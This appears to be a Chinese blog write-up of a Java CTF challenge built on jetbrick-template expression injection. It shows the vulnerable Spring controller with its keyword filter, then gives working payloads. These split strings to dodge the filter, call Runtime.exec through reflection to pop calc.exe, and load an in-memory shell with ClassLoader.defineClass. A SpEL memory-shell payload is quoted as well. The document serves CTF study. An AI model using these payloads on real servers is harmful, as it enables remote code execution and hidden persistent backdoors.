从一道题学习jetbrick-template表达式注入
真爱和自由 发表于 四川 CTF 588浏览 · 2024-08-17 06:07

前言

蓝桥杯初赛的时候出了一道java题,当时java水平菜得不行,最近看到有wp,正好来学习一下

解题

这个题就简单说了吧,题目代码如下

package ctf.construction.ezjava.controller;

import java.io.StringWriter;
import java.util.Map;
import jetbrick.template.JetEngine;
import jetbrick.template.JetTemplate;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
/* loaded from: IndexController.class */
public class IndexController {
    @RequestMapping(value = {"/"}, method = {RequestMethod.GET})
    @ResponseBody
    public String index() {
        return "Index";
    }

    @RequestMapping(value = {"/"}, method = {RequestMethod.POST})
    @ResponseBody
    public String render_tmp(@RequestParam String str) {
        if (str.contains("new") || str.contains("spring") || str.contains("Class") || str.contains("UNIXProcess") || str.contains("ProcessBuilder") || str.contains("Runtime")) {
            return "NO RCE";
        }
        JetTemplate template = JetEngine.create().createTemplate(str);
        StringWriter out = new StringWriter();
        template.render((Map) null, out);
        System.out.println(out.toString());
        return "RCE";
    }
}

可以明显看到的是一个template去解析,然后有一些的过滤,去问下gpt这是什么意思
这段代码是使用 JetTemplate 引擎(一种Java模板引擎)来渲染模板的示例。它涉及几个关键的Java类和方法。下面是对每一部分的详细解释:

复制代码
JetTemplate template = JetEngine.create().createTemplate(str);
JetEngine.create(): 这是 JetEngine 类的一个静态方法,用于创建一个 JetEngine 实例。JetEngine 是处理模板的核心组件,负责编译和管理模板。

createTemplate(str): 这个方法从给定的字符串 str 中创建一个 JetTemplate 对象。这里的 str 应该包含模板内容,该模板内容定义了如何渲染数据。str 可以是直接的模板字符串,或者是模板文件的路径。

我们看看这个模板的基础语法
https://subchen.github.io/jetbrick-template/2x/syntax-expression.html
重点的就几个
函数调用 function
jetbrick-template 还支持函数调用,如 ${now()}, ${fileGet("/test.txt")}。

静态字段调用 Class::Field

Class::Field
${Long::MAX_VALUE}
${java.lang.Long::MAX_VALUE}
静态方法调用 Class::method

Class::method(...)
${Collections::emptyList()}
${java.lang.Long::valueOf("123")}

题目不出网

想法肯定是打内存马,然后需要获取我们的类加载器,都是注入,我们可以参考我们的spel表达式注入打内充马

这里也是Spring的环境,在spel中

T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString(''),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()

我们使用Spring的工具类ReflectUtils,这个非常强大,反射的方法它都有

这里就重点看我们的

public static Class defineClass(String className, byte[] b, ClassLoader loader) throws Exception {
        return defineClass(className, b, loader, (ProtectionDomain)null, (Class)null);
    }

可以看到是接收三个参数,第一个名称,字节,加载器

然后本题我们参照这个模板的语法,来实现注入内存马

首先是要绕过这些字符串,这里拿如何弹出我们的计算器来举例子,明白这个语法

首先不能直接实例化我们的类,我们只能反射去实例化执行方法
获取方法

#set(exec=sun.reflect.misc.ReflectUtil::forName('java.lang.Run'+'time').getMethod('exec',String::class))

获取构造器

#set(cons=sun.reflect.misc.ReflectUtil::forName('java.lang.Run'+'time').getDeclaredConstructor())

因为是私有的

${cons.setAccessible(true)}

实例化类

#set(runtime=cons.newInstance())

反射执行方法

${exec.invoke(runtime,'calc.exe')}

连起来就是

String str = "#set(exec=sun.reflect.misc.ReflectUtil::forName('java.lang.Run'+'time').getMethod('exec',String::class))"
        +"#set(cons=sun.reflect.misc.ReflectUtil::forName('java.lang.Run'+'time').getDeclaredConstructor())"
        +"${cons.setAccessible(true)}"
        +"#set(runtime=cons.newInstance())"
        +"${exec.invoke(runtime,'calc.exe')}";

运行弹出计算器

然后我们只需要按照上面的paylaod去打内存马就好了

那就要去获取我们的classloader的defindclass方法去加载我们的字节码

这个是nivia师傅的payload

String str = "#set(java.lang.reflect.Method defindclassMethod = sun.reflect.misc.ReflectUti
l::forName('java.lang.Clas'+'sLoader').getDeclaredMethod('defineCl'+'ass', String::class, byt
e[]::class, int::class, int::class))" +
"${defindclassMethod.setAccessible(true)}" +
"#set(byte[] code = java.util.Base64::getDecoder().decode('...'))" +
"#set(java.lang.reflect.Method instance = sun.reflect.misc.ReflectUtil::forName('java.lang.C
l'+'ass').getMethod('ne'+'wInstance'))" +
"${instance.setAccessible(true)}" +
"#set(java.lang.Thread t = Thread::currentThread())" +
"${instance.invoke(defindclassMethod.invoke(" +
"sun.reflect.misc.ReflectUtil::forName('java.lang.Thread').getDeclaredMethod('getContextCl
a'+'ssLoader').invoke(t), " +
"'org.example.memshell.serialize.spr'+'ing.EvilControllerBypass', code, 0, code.length))}";

0 条评论
某人
表情
可输入 255
目录